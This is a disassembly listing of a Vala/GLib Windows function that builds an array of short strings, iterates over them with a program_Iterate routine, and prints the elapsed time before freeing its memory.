mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2c0], rax
lea rax, [0x140014254]
mov qword [rbp + 0x30], rax
mov rax, qword [rbp + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2b8], rax
lea rax, [0x140014256]
mov qword [rbp + 0x38], rax
mov rax, qword [rbp + 0x38]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2b0], rax
lea rax, [0x140014258]
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2a8], rax
lea rax, [0x14001425a]
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x2a0], rax
lea rax, [0x14001425c]
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x50]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x298], rax
lea rax, [0x14001425e]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x290], rax
lea rax, [0x140014260]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x288], rax
lea rax, [0x140014262]
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x68]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x280], rax
lea rax, [0x140014264]
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x278], rax
lea rax, [0x140014266]
mov qword [rbp + 0x78], rax
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x270], rax
lea rax, [0x140014268]
mov qword [rbp + 0x80], rax
mov rax, qword [rbp + 0x80]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x268], rax
lea rax, [0x14001426a]
mov qword [rbp + 0x88], rax
mov rax, qword [rbp + 0x88]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x260], rax
lea rax, [0x14001426c]
mov qword [rbp + 0x90], rax
mov rax, qword [rbp + 0x90]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x258], rax
lea rax, [0x14001426e]
mov qword [rbp + 0x98], rax
mov rax, qword [rbp + 0x98]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x250], rax
lea rax, [0x140014270]
mov qword [rbp + 0xa0], rax
mov rax, qword [rbp + 0xa0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x248], rax
lea rax, [0x140014272]
mov qword [rbp + 0xa8], rax
mov rax, qword [rbp + 0xa8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x240], rax
lea rax, [0x140014274]
mov qword [rbp + 0xb0], rax
mov rax, qword [rbp + 0xb0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x238], rax
lea rax, [0x140014276]
mov qword [rbp + 0xb8], rax
mov rax, qword [rbp + 0xb8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x230], rax
lea rax, [0x140014278]
mov qword [rbp + 0xc0], rax
mov rax, qword [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strdup]
call rax
mov qword [rbp + 0x228], rax
mov edx, 8
mov ecx, 0x1b
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_malloc0_n]
call rax
mov qword [rbp + 0x220], rax
mov rax, qword [rbp + 0x220]
mov rdx, qword [rbp + 0x2f0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 8]
mov rax, qword [rbp + 0x2e8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x10]
mov rax, qword [rbp + 0x2e0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x18]
mov rax, qword [rbp + 0x2d8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x20]
mov rax, qword [rbp + 0x2d0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x28]
mov rax, qword [rbp + 0x2c8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x30]
mov rax, qword [rbp + 0x2c0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x38]
mov rax, qword [rbp + 0x2b8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x40]
mov rax, qword [rbp + 0x2b0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x48]
mov rax, qword [rbp + 0x2a8]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x50]
mov rax, qword [rbp + 0x2a0]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x58]
mov rax, qword [rbp + 0x298]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x60]
mov rax, qword [rbp + 0x290]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x68]
mov rax, qword [rbp + 0x288]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x70]
mov rax, qword [rbp + 0x280]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x78]
mov rax, qword [rbp + 0x278]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x80]
mov rax, qword [rbp + 0x270]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x88]
mov rax, qword [rbp + 0x268]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x90]
mov rax, qword [rbp + 0x260]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0x98]
mov rax, qword [rbp + 0x258]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xa0]
mov rax, qword [rbp + 0x250]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xa8]
mov rax, qword [rbp + 0x248]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xb0]
mov rax, qword [rbp + 0x240]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xb8]
mov rax, qword [rbp + 0x238]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xc0]
mov rax, qword [rbp + 0x230]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
lea rdx, [rax + 0xc8]
mov rax, qword [rbp + 0x228]
mov qword [rdx], rax
mov rax, qword [rbp + 0x220]
mov qword [rbp + 0x2f8], rax
mov dword [rbp + 0x21c], 0x1a
mov eax, dword [rbp + 0x21c]
mov dword [rbp + 0x218], eax
mov dword [rbp + 0x6e8], 0
mov dword [rbp + 0x6e8], 0
mov dword [rbp + 0x6e4], 0
mov dword [rbp + 0x6e4], 1
cmp dword [rbp + 0x6e4], 0
jne 0x140004afe
mov eax, dword [rbp + 0x6e8]
mov dword [rbp + 0x214], eax
mov eax, dword [rbp + 0x214]
add eax, 1
mov dword [rbp + 0x6e8], eax
mov dword [rbp + 0x6e4], 0
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x208], rax
mov eax, dword [rbp + 0x21c]
mov dword [rbp + 0x204], eax
mov eax, dword [rbp + 0x6e8]
cmp eax, dword [rbp + 0x204]
jge 0x140004c32
mov rax, qword [rbp + 0x2f8]
mov qword [rbp + 0x1f8], rax
mov eax, dword [rbp + 0x21c]
mov dword [rbp + 0x1f4], eax
mov eax, dword [rbp + 0x6e8]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x1f8]
add rax, rdx
mov rax, qword [rax]
mov qword [rbp + 0x1e8], rax
mov rax, qword [rbp + 0x1e8]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
mov r8d, 0
lea rdx, [0x14001427a]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
mov qword [rbp + 0x1d0], rax
mov rax, qword [rbp + 0x6c8]
mov qword [rbp + 0x1c8], rax
mov rax, qword [rbp + 0x6c0]
mov qword [rbp + 0x1c0], rax
mov eax, dword [rbp + 0x524]
mov dword [rbp + 0x1bc], eax
mov r8d, dword [rbp + 0x1bc]
mov rcx, qword [rbp + 0x1c0]
mov rdx, qword [rbp + 0x1c8]
mov rax, qword [rbp + 0x1d0]
mov r9d, r8d
mov r8, rcx
mov rcx, rax
call sym.program_Iterate
mov rax, qword [rbp + 0x1d0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x1d0], 0
jmp 0x140004ada
nop
mov eax, dword [rbp + 0x21c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x2f8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x2f8], 0
jmp 0x140004c63
nop
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_new_now_utc]
call rax
mov qword [rbp + 0x140], rax
mov rax, qword [rbp + 0x140]
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x6b8]
mov qword [rbp + 0x138], rax
mov rax, qword [rbp + 0x6d0]
mov qword [rbp + 0x130], rax
mov rdx, qword [rbp + 0x130]
mov rax, qword [rbp + 0x138]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_difference]
call rax
mov qword [rbp + 0x6b0], rax
mov ecx, 1
mov rax, qword [dbg.__acrt_iob_func]
call rax
mov qword [rbp + 0x128], rax
pxor xmm0, xmm0
cvtsi2sd xmm0, qword [rbp + 0x6b0]
movsd xmm1, qword [0x140014488]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call sym.double_to_string
mov qword [rbp + 0x120], rax
mov rax, qword [rbp + 0x120]
mov qword [rbp + 0x118], rax
mov rax, qword [rbp + 0x118]
mov rcx, rax
call sym.string_to_string
mov qword [rbp + 0x110], rax
mov rax, qword [rbp + 0x110]
mov r8d, 0
lea rdx, [0x14001427d]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_strconcat]
call rax
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov qword [rbp + 0x100], rax
mov rdx, qword [rbp + 0x100]
mov rax, qword [rbp + 0x128]
mov r8, rdx
lea rdx, [0x14001416f]
mov rcx, rax
call sym.fprintf
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x100], 0
mov rax, qword [rbp + 0x118]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x118], 0
cmp qword [rbp + 0x6b8], 0
je 0x140004ddf
mov rax, qword [rbp + 0x6b8]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0x6b8], 0
mov rax, qword [rbp + 0x6c0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_free]
call rax
mov qword [rbp + 0x6c0], 0
cmp qword [rbp + 0x6c8], 0
je 0x140004e25
mov rax, qword [rbp + 0x6c8]
mov rcx, rax
mov rax, qword [sym.imp.libgobject_2.0_0.dll_g_object_unref]
call rax
mov qword [rbp + 0x6c8], 0
cmp qword [rbp + 0x6d0], 0
je 0x140004e4d
mov rax, qword [rbp + 0x6d0]
mov rcx, rax
mov rax, qword [sym.imp.libglib_2.0_0.dll_g_date_time_unref]
call rax
mov qword [rbp + 0x6d0], 0
mov eax, dword [rbp + 0x69c]
movsxd rdx, eax
mov rcx, qword [sym.imp.libglib_2.0_0.dll_g_free]
mov rax, qword [rbp + 0x6d8]
mov r8, rcx
mov rcx, rax
call sym._vala_array_free
mov qword [rbp + 0x6d8], 0
add rsp, 0x798
pop rbx
pop rbp
ret